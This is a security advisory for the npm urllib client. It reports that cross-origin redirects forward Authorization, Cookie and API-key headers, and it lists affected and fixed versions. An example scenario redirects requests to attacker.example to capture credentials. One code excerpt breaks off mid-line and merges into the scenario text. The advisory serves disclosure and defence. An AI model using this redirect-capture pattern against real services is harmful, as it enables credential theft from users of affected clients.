GHSA-hq3h-g68c-hp78 urllib's cross-origin redirects preserve credential-bearing request headers, leading to potential credential leakage

• npm urllib: >= 3.0.0, < 4.9.1 → fixed in 4.9.1 • npm urllib: < 2.44.1 → fixed in 2.44.1

Summary urllib supports redirect-following through `followRedirect`, which is expected behavior for an HTTP client. The issue is that, when following a redirect to a different origin, urllib preserves the caller-supplied request headers verbatim, including credential-bearing headers such as `Authorization`, `Cookie`, `Proxy-Authorization`, and custom auth headers (`x-api-key`, `x-auth-token`, `x-access-token`). If the redirect target is attacker-controlled or outside the trust boundary of the original target, credentials intended for the original origin can be delivered to the redirected origin. In a local multi-library reproduction, urllib v4.9.0 was the only tested client that stripped no headers on cross-origin redirect. Affected behavior Confirmed against urllib v4.9.0. The relevant code is in `#requestInternal` (`src/HttpClient.ts:639-656`): ```ts // https://developer.mozilla.org/en-US/docs/Web/HTTP/Redirections if (RedirectStatusCodes.includes(res.statusCode) && maxRedirects > 0 && requestContext.redirects Cookie: session= 2. The partner endpoint, a compromised intermediary, or a misconfigured CDN returns: 302 Location: https://attacker.example/captured 3. urllib follows the redirect and sends the original Authorization and Cookie headers to attacker.example. ``` This exposes credentials to an origin that was not the intended recipient. Depending on the credential type and server-side validation, the leaked credentials may be reusable against the original partner API or related services. This requires no user interaction. Realistic triggers include compromised partner subdomains, DNS hijacking, malicious partner endpoints during onboarding, internal services redirecting across trust boundaries, or an open redirect upstream of urllib's call site.